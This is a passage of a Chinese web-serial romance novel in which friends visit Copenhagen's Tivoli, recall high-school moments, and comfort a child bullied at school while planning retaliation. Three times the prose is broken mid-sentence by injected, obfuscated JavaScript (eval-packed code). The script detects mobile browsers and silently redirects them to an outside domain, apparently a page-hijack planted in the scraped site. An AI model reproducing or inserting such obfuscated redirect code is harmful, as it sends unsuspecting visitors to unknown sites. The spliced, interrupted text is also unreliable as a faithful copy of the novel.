“好玩儿吗小笛!” “好玩儿!” “那哥哥再带你玩儿一次!” 高幸也不是吃素的,熟练地转动方向盘回击,李听墨的车被她撞得连连退后,直到被逼到角落,大声求饶,高幸挑衅地看着他,“怎么样?” “好好好,高姐姐车技了得!”李听墨表面示弱,见高幸准备转移“战场”,又发了疯似地冲过去。 你来我往,撞个不停。 温让隔得不远,欢声笑语入耳,握着方向盘的手怎么也动不了,直到一个小孩撞到他,“大哥哥你不会玩吗?” “是有点不会。”温让笑笑。 小孩撇嘴,“没意思。” 笑容僵在脸上。 无趣,没意思。 这样的评价他应该习惯了才对。 但是今天听着,格外刺耳。 碰。 身子被撞得一震。 温让抬眼望过去,女子笑靥如花,“温让,你快来撞我!不要客气!” “好。” 几十秒后,被撞得晕头转向眼冒金星的高幸连连摆手,“你、你让我缓缓。” “抱歉,我好像有点……用力过猛了。” “没事,再来!” 不远处,隔岸观火的一大一小: “哥哥,高姐姐好像被欺负了,我们要去帮帮吗?” “你不懂,这就叫情趣。” “他们好像……朝我们开过来了。” “?我不要成为你们play的一环啊啊啊。” 11. 旋木 「旋木」 连着玩了好几个不用排队的项目,大家都有些累了,找了家中国餐厅补充能量。最累的是小笛,没吃几口就趴在高幸怀里呼呼大睡。 高幸要护着小笛,夹菜不方便,但是有温让在,她的碗就没空过。 李听墨三下五除二把碗里吃得干干净净,朝高幸伸出手,“给我,我来抱。” “算了。”高幸说,“我也吃得差不多了。” “行,那我也不跟你客气。”李听墨打了个嗝,横过手机,递给温让,“哥,帮我把这一关也过了。” “温让还没吃完呢。”高幸说完才意识到有点不对。 温让倒不介意高幸替他拿主意,“待会儿帮你。” 李听墨托着脑袋,瞧瞧这又瞧瞧那,“温让,为什么你以前都不能玩游戏,现在游戏却可以打这么好?苦练了?” “有时间也会玩。”温让说,“但不常玩。” “我就说嘛,读博压力那么大,你还有心思苦练游戏?”李听墨撞了他肩膀一下,“诶,你啥时候毕业?” 温让夹菜的手顿住,最后夹了个空,又收了回去,“不知道。” “啊?”李听墨说话不经思考,“你不会延毕吧?” 高幸瞪了他一眼,“吃饭呢,干嘛说这些。” “也是也是。”李听墨开了把游戏,嘴里还念叨着,“我这不是太迷茫了嘛,我爸妈又不关心我的学业,我身边除了你这个大学霸,其他大多都是些混子,你们知道的,丹麦人的福利又好,也不缺工作,工资也高……” 高幸听着听着,饭吃不下去了,干脆放下筷子,调整了下小笛的姿势,让她睡得更舒服。 温让起身,走到对面,“我来。”说完,双手抄过小笛的膝弯和后背,稳稳抱起。 高幸往旁边挪了挪,腾出身旁的位置给他。 小笛睡得太熟了,口水都流了出来,高幸扯了纸巾倾身过去替她擦拭。 两人挨得很近,温让稍稍低头,下巴就能触到高幸的发顶,他静静盯着她,原本漆黑如墨的发丝中间已经生出了几根白发。 “高幸。”他轻声说,“你有几根白头发,要拔了吗?” 高幸把披散在后背的长发捋到肩头,细细查看,“哪儿?” “我帮你。”温让说,“你再稍微低下来点。” 高幸照做,温让将小笛笼在怀里,腾出手,一手捻起白发,一手摁住发根,拔之前还不忘转移高幸的注意力,“今天开心吗?” “开心。” 温让指尖用劲,稍稍一拽,一根白发落在了高幸掌心。 “诶,这就拔掉了?我都没什么感觉。”高幸笑道,“你真是拔白发的高手。” “还有两根。” 温让的手掌很温暖,轻按住她头顶。 对面,李听墨已经输掉了一把游戏,正准备骂人,抬眼便看到这温馨的一幕。 小笛窝在温让怀里,脸颊睡得红扑扑的。 高幸身子前倾,像是靠在了温让肩头,而温让则垂着眼,认认真真拔白发。 李听墨忽然想起很多年前,他还在念高中,温让已经大学毕业顺利进入研究生阶段,他在北欧的朋友别说大学生了,高中生的恋爱经历都不少。可那次,他好奇地问温让,哥,你谈恋爱了没? 温让却摇摇头。 可是追他的人明明不少,他住的那个别墅区里,好几家千金都对他有意思,还有人看温让不好下手,就让借住在温让家的李听墨去打听,温让究竟喜欢什么样的女生。 他真去问了。 温让当时怎么说的来着:“没有固定的标准。” 是没有固定的标准,还是……只有一个固定的人? 情情爱爱对于李听墨来说就如家常便饭,看对眼了就追,没感觉了就分,绝不拖泥带水,上头和下头一样快,他总觉得高幸看上去也是这样的人……但…… 此时的高幸有些紧张地缩着身子,似乎不敢和温让有太多的触碰。 这是喜欢一个人的表现吗? 不是吧。李听墨暗自下了结论。 温让拔完最后一根白发,“好了。”他偶然间回过头,撞上李听墨的眼神,那眼里多了几分可怜的意味是怎么回事…… 高幸坐直身子。 等到小笛醒来,他们走出餐厅,已到夜幕时分,蒂沃利的树枝、建筑以及游乐设施上都装点着各式各样的灯。 “哇。”小笛揉揉眼,“好漂亮。” “我说吧,晚上的氛围更好。”李听墨牵起小笛,“走,玩你最爱的旋转木马去。” 蒂沃利的旋转木马是典型的欧式风格,尖尖的顶,油画和雕刻纹样繁复华美,饱和度低的温黄灯光伴着音乐声转动。 乐园存在过百年,游乐设施多数偏旧,正是这种跨越时间的年代感徒增了不少温暖氛围。 温让见高幸站在场外,没有要进去的意思,问道:“你不去吗?” 高幸举着手机,“我先给小笛拍照。” “那我陪你。”温让也跟着举起手机,“双机位。” 高幸笑了笑,“不给李听墨拍吗?” “不用管他。” 旋木缓缓动了起来,小笛抱着马头,对着镜头比耶。 或许是眼前的旋木太华丽浪漫,小笛的笑容又太无邪天真,高幸只这么静静地看着,都忍不住想流泪。 “高幸。” “嗯?”她带着鼻音应道。 “看镜头。” “什么?”高幸侧过头,却发现温让已经倒退几步,镜头把她和身后的旋木都囊括进去。 泪眼朦胧中,她依稀看见温让平和的双眸,一如当年,在那个老旧的游乐场门口。 高三唯一一次考了全班第一,何柔带着她去了市中心那家开了六十多年的游乐园。 何柔说她胆子小,很多项目都不敢玩,过山车、跳楼机,都是高幸一个人玩的,坐在她身边的总是小孩子,害怕的时候就抓她的手,几场刺激游戏玩下来,高幸的手背多了不少指痕。 何柔唯一能玩的,就是旋转木马。 那会儿,触屏手机刚出没几年,高幸的第一个触屏手机用的是高城的旧款,何柔还用的是按键款,两人的手机像素都很低,存下来的照片如同渐渐模糊的记忆。 “妈,你先玩,我帮你拍照吧。” “哎呀不用,一起玩,照片能管什么用,玩开心了就行。” 那天,何柔难得一整天都没发脾气,和高幸有说有笑。 夕阳余晖洒在旋转木马上,比夜晚灯光更迷人。 高幸拍了张自己骑的旋木的照片,何柔问她为什么要拍旋木,不拍自己。 “这是我骑的第一匹马。” “但这是假的。” “没事,我以后总能骑到真的。” 后来,高幸真的骑着骏马在大草原奔驰,而那时候,她却和何柔渐行渐远,一学期聊不到三句话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046600|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那是高幸读高中以来最酣畅淋漓的一天,可走出游乐园,何柔却接到了一个电话。 原先美好平静的状态被彻底打破,她眼看着何柔当街发飙,对着电话那边又吼又骂。 四周的人投来怪异的目光,高幸试图让何柔平静下来,何柔却满眼通红地盯着她,“你知不知道你爸对那个女人的女儿有多好?你再看看你,除了我,还有谁陪你。” “妈,我们回去再说吧。” “你再不去劝劝你爸,我迟早和他一起死,到时候看你怎么办!” “可是这些跟我有什么关系啊?”高幸有些撑不住了,哽咽道,“我到底做错了什么?” “你都这么大的人了?自己的爸都管不好?我要你有什么用?!” “那你别要我好了!” 常年积压起来的痛苦在今日快乐前提的衬托下,爆发得比往常猛烈。 “现在的孩子就是这么不懂事,叛逆得很。” “我家的也这样,稍微说几句就不乐意了,嚷嚷着要和父母断绝关系了。” “都是些养不熟的白眼狼啊。” “还说什么女儿是母亲的小棉袄,我看都是些讨债鬼。” 高幸无视周围人指指点点的眼神,憋着满眼眶的泪,近乎绝望地离去。 也是在那时候,她又遇见了温让。 他坐在豪车里,降下了车窗,一身妥帖的衬衫,发丝也精心梳理过。而她站在树荫下,一脸的委屈不甘,穿的还是几年前打折买的旧款连衣裙, 她眼睁睁看见温让对着车子前座的人说了几句,然后开门走了下来。 温让靠近她一步,她就下意识后退一步,直到踩到一个小土坑,不小心崴了一下。 温让握住她的胳膊,扶住她,从怀里掏出一包纸巾,以及一颗糖。 “这次,还是橘子味的。” 高幸犹豫了一下,还是伸手拿走了他掌心的糖,“谢谢。” 眼里蓄着的泪始终没有掉下来,“你……怎么在这儿?” “路过。” “噢。” “高幸。” 在这声温柔的呼唤中,她终于抬起头。 “旋转木马好玩吗?” “好玩。” “那就好。” “温让。”车子里传来一个冷厉的女声,“回家了。” 就在他转身那刻,高幸向前一小步,叫住他,“温让,你……” “高幸,再见。” 后来高幸总算明白为什么“再见”两个字不要随便说,从那以后,她再也没有单独和温让见面的机会了。 再次见到,他是百日誓师大会的优生代表,她是台下仰望着他的芸芸众生。 他是毕业典礼暨成人礼的表彰对象,她是角落里举着手机悄悄拍照的不具名某某。 …… 温让放下手机,隔得不远,和她对视。 身后的旋转木马还没有停下来,置身于这样的童话梦境,她应该笑。 可当年那些努力憋回眼眶的泪水在男人温柔的注视下,还是漫溢出眼角。 温让,为什么你总能看见我最狼狈的样子。 她控制不住泪水,只好低下头,任由水珠砸进尘埃里。 纸巾递到眼前。 这次,没有橘子糖。 “高幸,我说过会再见的。”温让的声音随风飘进她的耳里,镇定有力。 “就一定会再见。” 12. 第一张相片 「第一张相片」 小笛是骑着李听墨的脖子出来的,李听墨嘴上骂骂咧咧,说是小笛还没玩过瘾,把亲哥也当成马了,两只手却稳稳地箍住小笛的腿,生怕她倒下去。 高幸的眼泪已经擦干,脸上又恢复了笑容,“好玩吗小笛?” “好玩!高姐姐也去玩吧。” 晚上是游玩高峰期,蒂沃利的热门项目已经排上了长队,旋转木马也不例外,高幸和温让都没有再去排队。 “那你俩下次来玩这个。”李听墨说,“现在想去哪儿?你们定一个。” 高幸看了看温让,“我选择困难症。” 温让接过地图,“那就这个Rutsjebanen吧,听说是很古老的木质过山车。” “好耶!”小笛两只腿忍不住翘了翘,被李听墨一把按住。 “小祖宗,别乱动了,待会儿摔下来哥可救不了你。” 过山车也排了不少人,等了二十分钟才轮到他们。 前面的一对情侣正在讨论待会儿要用什么表情和姿势拍照。 小笛和李听墨在打闹,互相嘲讽对方待会儿一趟过山车坐下来别哭得太难看,还让高幸做见证人。 只有高幸和温让安静又沉默地等待着。 高幸倒是很喜欢这些刺激的项目,但她不确定温让的接受程度。 “高幸,你坐过过山车吗?”上车前,温让问道。 “坐过挺多次了。”高幸说,“主要是本科时候去的。” 轮到他们了,高幸先一步迈进座椅区,低声说,“如果你觉得害怕,待会儿可以大声叫出来。” “好。”温让摸了摸把手,“这个过山车听说已经有一百多年历史了。” “是的。”前方,李听墨幽怨地飘来一句,“我每个前女友都要来玩这个,所以我觉得这玩意儿,不吉利。” “哥哥,不吉利的不是过山车。”小笛仰着小脸看他,“是人。” “闭嘴。” “哦对了,你们可以下载——”李听墨话还没说完,过山车已经慢慢启动,他立马收声,紧张兮兮地握住扶手,一脸视死如归的模样。 身旁的温让坐得笔直,面上看着还是淡定的。高幸时不时瞥一眼,在过山车下坠时,又将眼神迅速收回来。 这个过山车是有司机的,就在李听墨他们那一排的前面。 周围尖叫声此起彼伏,以李听墨声音最大,嗓门又粗又沉,伴随着破音的嘶吼,和小笛尖细的童音撞在一起,司机都被逗笑了。 高幸也在笑,木质过山车比普通的更晃更刺激,她的笑声也更欢快。 经历过极速的下行和转弯,终于趁着上行时的缓冲期,高幸望向温让,却发现他也正看着她,满脸盎然笑意。 两人的发丝都被吹得极乱,乐园灯光匍匐脚下,如繁星下坠。 不远处烟火冲天,热烈绽放于夜空。 “温让看那儿!”高幸大声喊道。 “很漂亮!”温让回应着她。 又是一个迅猛的转弯,座位本就狭小,高幸的身子被惯性带着往右边倒,和温让的胳膊紧紧挨着。 因为练舞的缘故,她的核心已经算很稳的了,没想到温让比她更稳,晃都没晃一下。 结束时,或许是刺激过了头,高幸的头晕乎乎的,温让搀着她到了地面。 “yue……wyue……” 往旁边一看,李听墨正扶着一根柱子干呕。 “哥哥你还好吗哈哈哈哈哈。”小笛在旁边踮起脚替他拍背。 “臭丫头……yue……还笑……”李听墨声音都虚弱了不少。 高幸强忍着笑意,“我去给他买瓶水吧。” “不用了,他马上就好了。”温让走过去,倾身说了一句,“李听墨,刚才有个女生在看你。” 李听墨果然马上站直了,还整理了一下衣衫,“你不早说。”余光朝四周疯狂扫射。 “高姐姐,温哥哥,你们没事吧?”小笛问道。 “我们没事。”高幸说。 “下载蒂沃利的app,可以领照片,我买的通票,包含了照片的。”李听墨说。 “我现在下载。” “没事,我提前下好了。”温让说完,打开app,果然有一张他和高幸的合照。 李听墨也在查看他和小笛的照片,两人龇牙咧嘴,发际线都快被吹到脑后去了。 “我堂堂一个大帅哥……”李听墨面无表情地准备删除照片。 “哥哥我想要照片!”小笛制止道。 于是李听墨又面无表情地把照片下载下来,手机递给小笛,“你拿去独自欣赏。” 说完,他又探头看向温让的手机。 即使是在过山车上,即使被风吹乱了头发,高幸和温让的脸都没有崩。 相机抓拍下来的那一瞬,他们正好对视着,恰到好处的亲昵,适可而止的暧昧。 李听墨看完,面无表情地走开了。 “拍得还……挺好的。”高幸的长发挡住红透的耳根。 “我发你微信。”温让说。 “好,这是我们第一张合照吧?”高幸问道。 温让触碰着屏幕的手指顿在空中,“是第一张正式的合照。” 他补充了限定语。 心事似乎都被窥破,高幸紧张地移开眼神。 她几乎不敢去细想,当年拍过多少和温让“非正式”合照。 印象最深刻的是十八岁的那个夏天。 英语考试结束音回荡在教室,三年青春仓促收了场。 当天晚上,班长组织着大家聚餐,地点定在了一家当地开了十几年的酒楼,据说班主任家里还入了股。 二楼大堂包了场,一半是高幸他们班定的,至于另一半……好巧不巧,正好是温让班的。 两个班都在同一层楼,最东和最西,班长都互相认识,估计是商量着一起包的场。 当高幸无视四周的觥筹交错,埋头啃着鸭脖时,温让正好走了进来,身后还跟着两个搬着大箱子的年轻男人。 “不好意思我来晚了,给大家带了点毕业小礼物。”温让从箱子里拿出一盒又一盒的乐高,分发给每个人。 就在高幸他们班惊呼不已时,温让已经抱着一摞乐高盒子朝他们走了过来。 班长有点不敢相信,“我们班也有吗?” “对。”温让笑道,“每个人都有,都是随机的,大家如果不喜欢,可以找我换。” “卧槽这可是乐高诶……”有人嘀咕道,“两个班都买,肯定要花不少钱。” “温让家果然还是太有钱了。” “我的是机械。” “我的是花系列。” “诶我的是动物系列,有人想换吗?” “我我我我,我跟你换。” 高幸坐在最后一桌,发到她这儿的时候已经没什么选择的余地。 一桌八个人,温让挨着挨着递过去,最后来到高幸面前。 高幸忙停下碗筷,站起来,双手接过,“谢谢你。” “这是最后一盒。”温让说完,便离开了,两人看上去一点也不熟。 高幸旁边的女生探过脑袋,“哇,高幸,你的是城堡诶,和我们的都不一样。” “我看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049966|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “我去,你这个拼起来肯定超漂亮。” “高幸我好喜欢你这个,可以换吗?” “抱歉,我不太想换,而且温让也说了,这些都是随机的。”高幸带着歉意笑笑,“不好意思了,我只是恰好分到了这个。” “好像全班只有一个城堡?” “高幸你运气真好。” 高幸收好她的乐高城堡,安安静静吃着自己的饭,直到班长和副班长他们过来敬酒。 到了毕业,大家免不了说些又官方又煽情的话。 没成年的都喝的豆奶,这一桌只有高幸和另一个男生端起了酒杯,于是他来就成了重点敬酒对象,副班长甚至还要拉着高幸去隔壁班敬酒。 “我就不去了吧……我也不是班委。” “高幸,你可是我们班的门面。”副班长男生女相,在班上和大家历来以“姐妹”相称,几杯酒下肚,已经挽上了高幸的胳膊,“刚才人家都过来送礼物了,我们不去敬一下,不太好。” 班长也在旁边帮腔,“说的也是,走吧高幸,你和我们一起去敬。” 高幸没了拒绝的余地,被两人架走。 第一杯敬的就是对面班的班长和温让。 高幸向来不擅长应对这种场合,副班长还挽着高幸没撒手,对面班级一个劲地起哄让高幸跟副班长喝交杯酒。 “我……” 高幸只发出一个字音,温让已经探过手来,拿过了她的酒杯,放在桌子上,重新递给她一杯橙汁,转头对副班长说,“你们班女生比较多,待会儿如果大家都喝多了,不好收场,就让她们喝点果汁吧。” “说得对说得对。”副班长连连点头,手却忘了松开,兴许是把高幸当扶手了。 高幸捧着橙汁,等两个班的班长说完寒暄话。 “以后也常联系。” “必须的,运气好,说不定咱俩还能上一个大学呢。” “那我不能跟你比,你和温让倒有可能上一个大学。” “温让我也比不了啊。” 碰杯的时候,高幸留意到,温让的杯子放得最低,比她还低。 冰凉甘甜的橙汁入喉,缓解了酒精的热辣感。 不知道是谁先提了一句,“要不然我们这一桌的人拍张合照吧?” “同意!” “高幸可以拿手机吗?你刚好站在最前面。” “好。”高幸掏出手机,“但是我的手机像素不是很好。” “先拍几张试试。”班长说。 “行。” 她举起手机,打开自拍模式,试图将一桌的人都框进镜头里。 “等等!我先整理下头发。” “我也是。” “形象要紧。” 就在大家各忙各的时候,高幸的手机没有放下,调整着不同角度。 忽然,镜头里只剩下她和温让,温让侧过头不知在和谁说话,就在他转过来这一瞬间,高幸快速按下了拍摄键,心虚地将手机揣进兜里。 后来,他们又拍了不少照片,先是用高幸的手机拍,然后换成温让的。 她和温让之间始终隔了不少人。 这些合照被她存进名为“高中”的网盘相册里,只有那张偷拍下来的跟温让的合照存进了“秘密”里。 他们的第一张相片,是偷拍的,是秘密的。 是不被他知晓的。 …… 手机屏幕亮起,过山车合照已经成功传送到她的微信上。 高幸低头看了一眼,默默存下来。 这么多年过去,她终于拥有一张光明正大的合照。 13. 近处哭声 「近处哭声」 游玩结束,四个人在蒂沃利门口的圣诞树前拍了张合照。 温让住的酒店和他们方向不同,道别后,独自朝反方向走去,高幸望着他的背影发了会儿呆,直到小笛握住她的手指。 “高姐姐,回家吗?” “哦好。”高幸回过神,“走吧。” 她有点担心温让,今天下午和晚上,他都没时间吃药,不知道他一个人回到酒店,会不会因为巨大的落差感导致病情发作。 人太在乎他人的时候,总是会忽略自己的感受。 这个夜晚,高幸又失眠了,心率达到120,怎么也平复不下来。 躁郁期的药她都忘在了家里,没有带来丹麦,只能靠自己的意志硬抗。 以前,舞社的人都说她精力过于充沛,旁人练八个小时的舞早就瘫在地上怨声载道了,她却能始终保持活力。 起初她真的以为是自己精力好,被确诊双相后,才意识到自己是生病了。 眼下没有别的事可供她发泄多余的精力,她只能在漆黑中望着天花板发呆。 “高幸,睡了吗?” 门被敲响,她听到李听墨的声音。 高幸披上外套,打开门,“怎么了?” “刚才路过小笛房门,好像听见她在哭。”李听墨面露难色,“但是我一敲门,她就没声儿了,之前你遇到过这种情况吗?” “应该是梦魇。”高幸匆匆走到小笛房间外,李听墨紧随其后。 “小笛?”高幸贴在门上,“姐姐可以进来吗?” 过了会儿,屋内传来一声哽咽的“嗯”。 高幸和李听墨对视一眼,“你在外面等一下。” “好。” 小笛开了灯,缩在大床一角,抱着高幸之前送给她的熊猫玩偶,头发乱蓬蓬的,身子发着抖。 高幸把她搂进怀里,低声安抚道,“小笛别怕,姐姐在呢。” 小笛终于控制不住,扑到高幸胸口号啕大哭,“他们打我,还让我学狗叫。” 相处这些天,小笛时不时会做噩梦,与其说是梦,不如说是,过去记忆的重现,小笛父母没有和高幸仔细说过小笛的遭遇,但从小笛的梦境,她已能推测出七八分。 “小笛,不要去想,不要去想了。” “男厕所,小便池……打我……尿尿……”小笛的身子根本止不住颤抖,“要挖我眼睛……” 琐碎的字句让高幸红了眼,拳头不自觉地越握越紧,所有安慰的话都哽在喉头,面对一个脆弱的六岁孩童,她明明可以以大人的身份说出很多诱哄的话,让小孩子安心。 但她说不出口。 都过去了。没事的。会好起来的。要向前看。坏人都会有报应的。 明明将这些话随便排列组合就好。 她以前不是也听过无数次吗? 可现在,她除了紧紧抱住小笛,任由她哭湿自己的衣衫,别无他法。 “我想上学,为什么……为什么不让我上学。”小笛的鼻音很重,每说一个字都在抽泣,“我、我成绩好、也很乖……为什么、为什么他们还是……不喜欢我。” “姐姐,我做错了什么?” -我到底做错了什么?! 脑海里响起了自己少年时期的声音。 “你没有错。”高幸吻了吻她汗湿的额头,“你一点错都没有。” “那为什么,受到惩罚的是我?” -我出生在这个家庭没得选择,出轨的不是我,成天骂人的不是我,我一直在好好学习,努力活着,做错事的是你们,为什么要让我承受这一切?!明明我才是最无辜的,却一直在受惩罚! 现实和回忆交错着冲击高幸的神经。 她抱住了曾经的自己,一遍又一遍重复着,“你没有错……错的不是你。” 或许是屋子里的哭声太撕心裂肺,门口的李听墨实在听不下去了,推门而入。 他看着高幸眼眶通红,搂着哭个不停歇的小笛,轻声哄着。 不知怎的,李听墨突然觉得心里涌上一股难言的酸楚,他站在门口,没有上前,也没有退后,手指还搭在门把上,缓缓收紧,又松开。 有些无措。 直到小笛哭得太累,昏睡过去,他才走过去,和高幸一起,帮小笛盖好被子。 “你去睡觉吧。”李听墨说,“我守着她。” “你跟我出来一下吧,我有事要说。”高幸擦去滑到下巴的泪。 “嗯。” 两人怕吵到小笛,直接来到了阳台。 “介意我抽根烟吗?” “你抽吧。” 李听墨烦躁地薅了下头发,“看来我爸妈没给我说实话。” “他们怎么跟你说的?” “他们就说小笛在学校受到了种族歧视,暂时停学休息一下,等学校把这事处理好了再说。”李听墨叼着烟,含糊不清地说道,“种族歧视这事儿,我小时候也遇到过,大概率在北欧的黄种小孩都经历过,所以我也没怎么放心上。” 高幸把小笛这些天因为噩梦说过的话一句句重复给李听墨。 眼看着男人从最开始还算平静地抽着烟,到后面气得直接咬掉了烟蒂,一拳砸在栏杆上。 “你小时候面对那些羞辱你的小孩儿,怎么处理的?” “还能怎么处理。”李听墨胸膛剧烈起伏着,“他们打我,我就打他们,直接揍服他们。” 说完,他想到了小笛,总是温温和和照顾着别人感受的瘦弱小妹妹,“可小笛毕竟是女孩儿……” “男厕所没有监控。”高幸冷着脸说,“所以你们爸妈就算想告,也没证据。” “所以他们把小笛留在家里,是想让时间冲淡这一切?” “估计他们只能这样。”高幸说,“不然还能跟学校硬碰硬吗?” 音落,李听墨忽然握住高幸的肩膀,眼里闪过一丝冲动。 这种冲动,也曾在高幸的眼中出现过——当她为自己好友打抱不平的时候。 “你该不会是想?” “以其人之道,还治其人之身。虽然我没在中国长大,但老祖宗的道理我还是明白的。” “这不好,对方都是些小孩子。” “小孩子不都是由大人教的么……” 李听墨伏在高幸耳边嘀咕着。 听完他的计划,高幸沉默了会儿,“我当然愿意帮忙,可是温让那边——” “他会同意的。” “我不想连累他。” 李听墨古怪地看着她,“什么叫连累,这事儿要是告诉温让,他比我还猛,你信不信。” “他、他看着不像是……” “你错了。”李听墨晃了晃手指,“温让只是外表看着听话,其实一身反骨,而且他还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057162|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子。小时候打架,就他每次都能全身而退,就我次次被罚。” “打架?”高幸想起温让嘴角那一点淤青,听说也是李听墨动的手,“你怎么老跟他打架?” “我?”李听墨无语,“他跟我打架干什么,温让出了名的护犊子,不会动自己人的。” “那他跟谁打?” “当然是欺负他的人了。” 李听墨回想起温让八岁时,一挑四的场景,“像温让哥这种家里有钱的乖小孩,最容易被那些混不吝的臭小子盯上了,他要是没点本事,早就被弄死了。” 在高幸记忆中,温让总是被保护得好好的,专车接送,还有保镖,原来还有这样一层原因吗? “你们是高中校友对吧?温让哥是不是三好学生代表?” 高幸点点头。 “我猜也是,他大学拿各种奖学金拿到手软,我妈经常拿他的事迹来怼我,一开口就是‘你学学温让哥’。”李听墨夹着声音,模仿他妈妈的口气。 “但是有一次,他被取消奖学金了,你猜为什么?” “为什么?” “因为他把他一个傻/逼室友关在男厕所揍了一顿。” 高幸愣住。 “温让他妈妈打电话跟我妈聊天无意中提到的,那叫一个生气。”李听墨说,“据说因为这事儿,他爸妈还罚他在温家祠堂跪了好几个小时呢,难以想象这都是21世纪了,还会有人被罚跪祠堂。” 高幸的大脑已经停止思考了,所以当年那事之所以平息下来,都是因为温让帮她顶罪了。 “喂,怎么发呆啊?” 高幸突然抓住李听墨在她眼前晃着的手腕,“可不可以,告诉我更多关于温让的事……” 她的掌心冰凉,李听墨皱起眉头,“你为什么不直接问他呢?” 高幸松开手,有些丧气地低下头,“算了。” 她要是敢问,早就问了。 面对温让,她总是缺少很多勇气。 “你喜欢他?”李听墨顺口一问。 高幸却没有回答,从她的沉默里,李听墨已经知道了答案。 “喜欢就去追。”李听墨说,“喜欢上温让这样的人是再简单不过的事情。” “可是高幸。”李听墨垂着眼,目光从她的发顶,挪到长而密的睫毛,“如果你想和他结婚,我劝你打消这个念头。” “他们家,太可怕了。”他说。 “我有自知之明。” “我不是这个意思,你很优秀,不要怀疑自己。”李听墨忙解释道,“我的意思是,和他谈恋爱可以,结婚的话免不了被他家扒一层皮,我也是出于好心,不希望看到你受那样的伤,毕竟你没接触过他爸妈。” “你放心,我摆得正自己的位置。”高幸有些勉强地勾了勾唇角,“我和他本来就没有任何可能,有这样一个人出现在自己生命里,已经很好了,我不奢望拥有。” “高幸……” “还是想想明天怎么跟温让说小笛的事吧。” 说完,高幸就进了屋子,留下李听墨独自在阳台,连着抽了好几根烟。 第二天。 果然不出李听墨所料,当他们把小笛的事原封不动地告诉温让后,温让面上风波不动,手捧着温热的咖啡,啜了一口后,淡定地说道: “加害者受惩罚天经地义,如果学校不给,那就我们来给。” 14. cos夫妻 「cos夫妻」 李听墨从爸妈那儿旁敲侧击到欺负小笛的那几个小孩的姓名,以及家庭背景。 电话快结束时,他爸妈似乎听出了他的意图,连连叮嘱他不可以轻举妄动,李听墨向来脾气冲,做事简单粗暴不过大脑。 温让摊开手,示意李听墨把手机给他。 “伯母,是我。” 一听见温让的声音,对面原本机关/枪似的话语立马止住了,“是小温啊,最近怎么样?在哥哈玩得还开心吗?阿墨有没有照顾好你?” “我一切都好,但是小笛不太好。” “这事儿我们也处理了,我们甚至还找了社区,社区也警告了学校,所以我们就打算息事宁人,毕竟还得在丹麦混下去呢,华人在北欧向来生存艰难,我们也不是什么领域大佬,没啥话语权。我知道你们关心小笛,我跟她爸也一样心疼她,只是……该做的我们都做了,接下来就看小笛能不能走出来了,等我们把手头的事处理完,就回来陪她。” “伯母。”温让等她说完后,开口道,“我们有数,您放心。” “温让,阿姨知道你向来是个有分寸的孩子,你帮我劝着点阿墨,之前没把事情告诉他,就是怕他一个冲动跑去跟人家拼命,别看他平时老跟小笛拌嘴,心里可疼这妹妹了。” “好的伯母。” “所以这事儿你们先别管了吧?”女人试探性问道。 “放心伯母。” “那就好。” “我一定管到底。” “?” “伯母再见。” 温让挂掉电话,李听墨竖起了两个大拇指,而一旁的高幸也见识到了李听墨口中“一身反骨”的温让是什么样的了。 刚才他俩在电话里和李听墨妈妈沟通时,高幸一直在做笔记。 三个人轮流看完笔记。 “我知道自己没啥脑子,温让哥,我都听你的。”李听墨说,“接下来该怎么办?” 温让骨节分明的手指轻敲咖啡杯,“按照伯母刚才的说法,这件事已经发生了不下三次,起初学校还道了歉,说是已经警告了那些小孩的父母,但没用,他们反而变本加厉地欺负小笛。” “因为他们都没受到实质性的惩罚。”高幸补充道。 温让沉思了会儿,“他们班的老师,应该纵容或者默许了这些行为。” “我去,这真有可能,刚才我妈都没提老师,按理说,发生这事儿第一时间是找班级的负责老师。”李听墨说。 “我们得去看看。”高幸说,“但是,要怎么进学校呢?” 李听墨灵机一动,“我有个办法。” 一个钟头后。 高幸挽着温让的胳膊出现在小笛学校的校门前。 “李听墨到底想的什么主意,让我俩来假扮父母。”高幸有些不自在,想把手抽出去,却被温让轻轻按住。 “人来了。”温让提醒道。 他们现在扮演着一对给自己小孩儿物色国际学校的父母,来接应他们的正是学校的工作人员。 来者看上去三十出头的年纪,一头蓬松的白金卷发,妆容精致,但脸上依然能看见些许雀斑痕迹,她自我介绍完,带着高幸和温让进了学校。 “我们学校有不少移民的孩子,也有些不会丹麦语的,所以我们都是以英语教学为主,学校也开设了丹麦语课程。”女人边走边介绍周围的建筑,“那边那栋蓝色的是我们的教学楼,旁边尖拱形的是活动中心。” “我们是从中国移民过来的。”高幸微笑着问,“你们这边中国孩子多吗?” “中国人?”女人笑容僵了下,“不多,但亚裔也不少。” 